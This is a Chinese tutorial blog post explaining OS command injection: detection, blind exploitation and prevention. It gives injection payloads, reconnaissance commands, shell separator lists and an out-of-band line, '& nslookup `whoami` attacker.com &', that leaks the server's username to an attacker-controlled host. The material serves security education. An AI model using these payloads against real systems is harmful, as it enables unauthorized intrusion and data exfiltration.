命令注入_常见web漏洞——系统命令注入

在本文中,我将讲述什么是系统命令注入以及如何检测和利用系统注入漏洞。并且会罗列一些针对不同操作系统比较有用的攻击命令和技术。最后则将讲述如何阻止系统命令注入攻击。

196b1fdbdc84f33972562623a3624566.png

什么是系统命令注入?

操作系统命令注入(通常也称为脚本注入(Shell Injection))是一种web安全漏洞。攻击者可以利用其在运行应用的服务器执行任意操作系统命令。典型的后果是完全破坏应用程序及其所有数据。通常,攻击者还能利用这种漏洞破坏托管该应用基础设施的其它部分,并利用其它服务对该被攻击服务的信任关系将攻击转移到组织内的其他系统。

执行任意命令

考虑一个购物应用程序,该应用程序使用户可以查看特定商店中某商品是否有库存。该信息可通过如下URL访问到:

https://insecure-website.com/stockStatus?productID=381&storeID=29

为了提供库存信息,通常的做法可能都是去查询数据库之类的存储系统。但是不巧,该服务整体架构比较老旧,为了拿到库存信息,应用程序必须查询各种旧系统。由于历史原因,该功能是通过使用productIDstoreID作为参数调用shell命令来实现的:

stockreport.pl 381 29

这个脚本会针对给定productIDstoreID来查询库存信息并返回给用户。

而由于该服务并没有进行任何的命令注入的防护,所以攻击者可以通过提交下面这样的查询字符串来执行任意命令:

& echo aiwefwlguh &

如果这个参数是作为productID传入的,那么最终执行的命令会是:

stockreport.pl & echo aiwefwlguh & 29

这个echo命令只会导致提供的字符串回显到输出,这在用来测试某些类型的注入非常有用。字符串是shell命令分隔符,所以最终被执行的是三段独立的指令。所以,最终输出给用户的将可能会是:

Error - productID was not provided
aiwefwlguh
29: command not found

这三行输出可以证明:

  • 最初的 stockreport.pl 并没有按照自己预期的参数执行,所以它输出了错误的结果

  • 被注入的 echo 指令被执行了,并且提供给它的参数回显出来了。

  • 参数29被当做命令去解析,所以导致了一个错误。

通常,将附加命令分隔符放置在注入命令之后是很有用的,因为这会将注入命令与注入点后面的内容分开。这减少了注入的命令被阻止执行的可能性。

注意:以上只是比较简单的例子,很多系统命令注入漏洞并不会直接把结果返回给攻击者,后面会讲。一些有用的命令

当你已经确定出某个应用存在命令注入漏洞后,通常可以执行一些初始命令来获取有关被你攻击的系统的信息。以下是在Linux和Windows平台上有用的一些命令:

说明LinuxWindows
当前用户信息whoamiwhoami
操作系统信息uname -aver
网络配置ifconfigipconfig /all
网络连接netstat -annetstat -an
运行的进程ps -eftasklist

系统命令盲注攻击

命令注入中的很多case都是盲注漏洞。什么意思呢?就是说虽然命令确实被注入了,但是它并不会像上面的例子那样直接将结果返回回来。盲注漏洞仍然可以被利用,只是需要不同的技术。

假设一个Web站点运行用户给他们提交反馈。用户输入他们的邮箱以及反馈内容。服务端应用给管理员生成一封包含反馈内容的邮件。这个应用是通过调用mail实现这个功能的,例如:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

假设 mail指令的内容并不会直接通过HTTP响应返回给提交者,那么使用 echo 来检测是否可以注入的话就不太可行了。这种情况下,可以使用其它的技术来检查和利用漏洞。

使用时间延时检测命令盲注

可以通过尝试注入一个会导致响应时延的命令并对比注入前后响应的时间来确认注入的命令是否被执行。ping 指令非常适合干这个,因为它允许你指定发送ICMP包,而这会消耗时间,比如:

& ping -c 10 127.0.0.1 &

这个指令会导致应用会ping 一下127.0.0.1这个回环地址,持续10s。

通过重定向输出利用命令盲注

另外一种方式是,你可以将命令的输出重定向到应用根目录下的某个文件,这样你可以直接在浏览器获取这个文件。例如,如果应用程序的静态资源存放在位于服务目录/var/www/static下,那么你可以通过如下指令将命令输出写入这个目录下的文件:

& whoami > /var/www/static/whoami.txt &

>会将whoami指令的输出写入/var/www/static/whoami.txt这个文件中,那这样你就可以直接通过浏览器URL https://vulnerable-website.com/whoami.txt 访问到了。

使用out-of-band(OAST)网络技术利用命令盲注

另外一种方式就是,你可以通过注入一个能够与你自己控制的服务进行交互的命令来验证。比如:

& nslookup attacker.com &

这个注入使用了nslookup命令来查询指定域名的DNS。攻击者可以监视是否发生了指定的查找,从而检测到命令成功注入与否。

这种注入方式还提供了一种从注入的命令中提取输出的简便方法:

& nslookup `whoami` attacker.com &

这个注入命令会导致被攻击服务携带信息向攻击者控制的服务发起DNS查询。

系统命令注入常见方式

有很多种shell元字符可以用来实现系统命令注入。有许多字符用作命令分隔符,使命令可以链接在一起。以下命令分隔符在Windows和基于Unix的系统上均可使用:

  • &

  • &&

  • |

  • ||

下面这几种只能运行在基于Unix的系统:

  • ;

  • 换行 (0x0a or \n)

在基于Unix的系统上,您还可以使用反引号或美元字符在原始命令中内嵌执行注入命令:

  • some injected command

  • $( some injected command )

注意,不同的shell元字符的行为具有细微差异,这些行为可能会影响它们是否在某些情况下起作用,以及它们是在有回显输出的场景起作用还是只能通过盲注的方式起作用。

有时,您控制的输入会出现在原始命令的引号中。在这种情况下,需要先使用引号终止上下文(使用单引号'或双引号''),然后再使用适当的shell元字符来插入新命令。

如何阻止系统命令注入攻击?

目前为止,最为有效的阻止命令注入的手段就是不以系统命令的方式执行外部输入。不执行就不会有风险,有很多种可以替代通过执行命令完成工作的手段。

但是如果你这个不可避免的非得用执行命令的方式来完成某个工作,唯一的方式就是对输入执行强校验,一些校验case如下:

  • 使用白名单对指令校验

  • 校验输入是否是数字

  • 校验输入是否是基本的字符,没有空格或者其他字符。

切勿尝试通过转义shell元字符来清理输入。实际上,这太容易出错,容易被熟练的攻击者绕开。

参考

https://portswigger.net/web-security/os-command-injection

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值